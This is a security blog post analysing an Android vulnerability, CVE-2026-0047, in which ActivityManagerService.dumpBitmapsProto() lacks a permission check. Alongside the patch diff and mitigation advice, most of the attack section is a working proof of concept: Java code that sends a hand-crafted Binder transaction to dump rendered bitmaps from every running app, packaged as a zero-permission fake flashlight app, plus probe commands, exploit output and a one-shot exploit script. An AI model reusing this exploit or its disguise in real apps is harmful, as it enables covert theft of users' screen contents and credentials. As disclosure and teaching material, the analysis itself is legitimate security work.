CVE Analysis · March 2026 Android Security Bulletin

CVE-2026-0047: Stealing Screenshots from Every Running App with Zero Permissions

A missing permission check in Android’s ActivityManagerService lets any installed app silently dump bitmaps from every running process. We built a PoC that exfiltrates 63 PNG images — no permissions, no user interaction.

Discovered By

No external researcher credit is listed for CVE-2026-0047 in the March 2026 Android Security Bulletin. The fix was authored by Google’s Android Platform Security team as part of routine security review of the QPR2 beta branch.

TL;DR

CVECVE-2026-0047
SeverityCritical — CVSS 8.4 (AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
ComponentActivityManagerService.dumpBitmapsProto()
Root CauseMissing enforceCallingOrSelfPermission(DUMP) (CWE-280)
ImpactAny app steals UI bitmaps from all running apps → credential theft, EoP chain
AffectedAndroid 16 QPR2 Beta 1–3 (Baklava), patch level < 2026-03-01
PatchedMarch 2026 Android Security Bulletin

The Vulnerability

ActivityManagerService (AMS) is one of the most privileged system services in Android — it manages every running app, every process, every task. AMS exposes a family of dump*() methods over Binder IPC for diagnostics. These are gated behind android.permission.DUMP, a signature-level permission that only platform-signed apps and ADB can hold.

CVE-2026-0047 is the exception: dumpBitmapsProto() shipped without the permission check. Any app on the device can call it and receive protobuf-wrapped PNG bitmaps from every running process — icons, UI elements, and anything currently rendered on screen.

If you’re new to how Android manages inter-process communication and exported components, see Android Intent Security: Exploiting Exported Components and Deep Links for the necessary background.

Vulnerable Code (Simplified)

// ActivityManagerService.java — BEFORE the patch
@Override
public byte[] dumpBitmapsProto(String processName, int userId) {
    // No enforceCallingOrSelfPermission(DUMP) here!
    synchronized (mGlobalLock) {
        return dumpBitmapsProtoLocked(processName, userId);
    }
}

The Fix

// ActivityManagerService.java — AFTER the patch
@Override
public byte[] dumpBitmapsProto(String processName, int userId) {
    enforceCallingOrSelfPermission(
        android.Manifest.permission.DUMP,
        "ActivityManagerService: dumpBitmapsProto"
    );
    synchronized (mGlobalLock) {
        return dumpBitmapsProtoLocked(processName, userId);
    }
}

Binder Call Flow — Before and After Patch

Malicious App Binder IPC AMS: No Permission Check Bitmap Data Leaked
Malicious App Binder IPC enforcePermission(DUMP) SecurityException

The patch inserts a permission gate that throws before any data is accessed.

The Attack: A Malicious “Flashlight” App

Download the PoC on GitHub mobilehackinglab/CVE-2026-0047-poc

To demonstrate the real-world impact, we built a PoC disguised as a flashlight app. It declares zero Android permissions — no camera, no storage, no internet. On launch, it silently calls dumpBitmapsProto() via raw Binder and exfiltrates UI bitmaps from every running app.

Here is what makes this especially dangerous:

  • No permissions requested — the user sees a clean install prompt with nothing suspicious
  • No user interaction — the exfiltration runs automatically on first launch
  • No visible indication — the app shows a working flashlight UI while silently dumping data
  • No hidden API bypass needed — the exploit uses raw IBinder.transact(), which completely bypasses Android’s hidden API restrictions on stock devices

If the victim has a banking app, email client, or password manager visible in the background, the attacker captures its rendered UI — including any displayed credentials, tokens, or sensitive data. This turns an information-disclosure bug into a credential-harvesting mechanism that can chain into full privilege escalation.

AndroidManifest.xml — Zero Permissions

<manifest xmlns:android="http://schemas.android.com/apk/res/android">
    <!-- No permissions declared. At all. -->
    <application android:label="Flashlight Pro">
        <activity android:name=".MainActivity" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

Proof of Concept

Phase 1: Confirming the Bug

Transaction code #117 on the activity service maps to dumpBitmapsProto() in the IActivityManager Stub. Sending it with no arguments from an unprivileged shell causes a NullPointerException inside AMS — proving the method body executes without any permission check:

Phase 1: Binder Probe
$ adb shell service call activity 117
Result: Parcel(fffffffc ...NullPointerException...
at ActivityManagerService.dumpBitmapsProto(ActivityManagerService.java:16101)
at IActivityManager$Stub.onTransact(IActivityManager.java:4163)

# NPE, not SecurityException = NO permission check!
# A patched build throws SecurityException BEFORE the method body runs.

Phase 2: Exploiting via Raw Binder

We use IBinder.transact() to send a hand-crafted Parcel directly to AMS. This bypasses hidden API restrictions entirely — no hidden_api_policy setting needed. The arguments come from disassembling ActivityManagerShellCommand.runDumpBitmaps():

// AIDL wire format for dumpBitmapsProto (transaction #117):
//   writeInterfaceToken("android.app.IActivityManager")
//   writeInt(1)               — non-null marker for Parcelable
//   ParcelFileDescriptor.writeToParcel(data, 0)  — pipe write end
//   writeStringArray(filter)  — empty = all processes
//   writeInt(-2)              — UserHandle.USER_CURRENT
//   writeBoolean(true)        — dump all foreground processes
//   writeString("png")        — bitmap compression format

The critical implementation detail is pipe management. AMS writes synchronously to the file descriptor — if the pipe buffer fills (64 KB) before anyone reads the other end, both sides deadlock. The reader thread must start before the Binder call:

// Get AMS binder — ServiceManager.getService is allowed on stock configs
IBinder amBinder = ServiceManager.getService("activity");
String descriptor = amBinder.getInterfaceDescriptor();

ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();

// Reader thread — MUST start before transact to prevent deadlock
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Thread reader = new Thread(() -> {
    FileInputStream fis = new FileInputStream(pipe[0].getFileDescriptor());
    byte[] buf = new byte[65536];
    int n;
    while ((n = fis.read(buf)) > 0) bos.write(buf, 0, n);
});
reader.start();

// Invoker thread — raw Binder, no hidden API reflection
Thread invoker = new Thread(() -> {
    try {
        Parcel data = Parcel.obtain();
        Parcel reply = Parcel.obtain();
        data.writeInterfaceToken(descriptor);
        data.writeInt(1);                           // non-null Parcelable marker
        pipe[1].writeToParcel(data, 0);             // ParcelFileDescriptor
        data.writeStringArray(new String[]{});      // all processes
        data.writeInt(-2);                          // USER_CURRENT
        data.writeBoolean(true);                    // dump all
        data.writeString("png");                    // format
        amBinder.transact(117, data, reply, 0);     // dumpBitmapsProto
        reply.readException();
        data.recycle();
        reply.recycle();
    } finally {
        pipe[1].close();  // signals EOF to reader
    }
});
invoker.start();

invoker.join(15000);
reader.join(3000);
pipe[0].close();

byte[] stolenData = bos.toByteArray();
// stolenData contains protobuf with embedded PNGs from ALL running apps

Results

On a Baklava emulator (BP41.250725.007, patch 2025-08-05) with Settings, Clock, and Files open, the exploit returned 679,091 bytes of protobuf data containing 63 valid PNG images. These are the actual rendered bitmaps from every running app — all stolen by a zero-permission app.

Exploit Output
[!] === EXPLOIT SUCCEEDED ===
[!] Call returned 679091 bytes
[!] NO SecurityException thrown!
[!] Missing enforceCallingOrSelfPermission(DUMP)

[!] Found 63 PNG image(s) in protobuf!
[!] These are screenshots of running apps.

# Stolen bitmaps include Settings UI, Files icons,
# Clock face, system icons, and 59 more UI elements.
# All extracted by a zero-permission app.

Extracting the PNGs is a matter of scanning for PNG magic bytes (89 50 4E 47) and IEND trailer (49 45 4E 44 AE 42 60 82).

Reproducing with exploit.sh

The PoC repository includes a single-shot script that automates the entire chain — emulator setup, APK build, installation, exploitation, and bitmap extraction:

Running the PoC
$ git clone https://github.com/mobilehackinglab/CVE-2026-0047-poc && cd CVE-2026-0047-poc

# Full run: set up emulator, build, exploit, extract
$ ./exploit.sh --setup-emulator

# Already have a Baklava emulator?
$ ./exploit.sh

══════════════════════════════════════════
CVE-2026-0047 EXPLOIT RESULTS
══════════════════════════════════════════

Build: BP41.250725.007
Patch level: 2025-08-05
Raw protobuf: 679091 bytes
PNG files: 63 extracted
Permissions used: NONE
Output dir: ./stolen_bitmaps/
══════════════════════════════════════════

Detection and Mitigation

Check your security patch level — you need 2026-03-01 or later:

Patch Check
$ adb shell getprop ro.build.version.security_patch
2026-03-01

Only Android 16 QPR2 Beta 1–3 (Baklava) builds are affected. Consumer devices on Android 14, 15, or the stable Android 16 release are not vulnerable to this specific CVE.

Takeaways

  • The dump* family is a rich attack surface. Android system services expose dozens of dump*() and proto*() methods. Each one is a potential permission-check miss. When auditing AOSP, search for Binder-exposed methods that return protobuf and verify they call enforceCallingOrSelfPermission(DUMP).
  • QPR betas are high-value research targets. Quarterly Platform Release betas introduce new code paths that haven’t been through the same review cycle as stable releases. Running audit tools against QPR builds can surface bugs before they reach stable. Dynamic analysis with tools like Frida is especially useful here — see our guide on Frida Advanced Techniques: Runtime Hooking and Anti-Detection Bypass.
  • CWE-280 keeps showing up. Improper Handling of Insufficient Permissions appears frequently in Android security bulletins. The pattern is always the same: a function intended for privileged callers is reachable by unprivileged code because the permission check was omitted.

Want to find vulnerabilities like this yourself? Mobile Hacking Lab teaches you to audit Android system services, analyze AOSP patches, and build working exploits:

Also: automate your Android security assessments with Djini.ai — AI-powered mobile security testing that catches missing permission checks automatically.

Start the Advanced Exploitation course →

References


Ready to audit Android system services? Mobile Hacking Lab provides hands-on labs covering the exact vulnerability patterns that appear in Android Security Bulletins every month. Start with the free labs, then advance to Android Userland Fuzzing & Exploitation.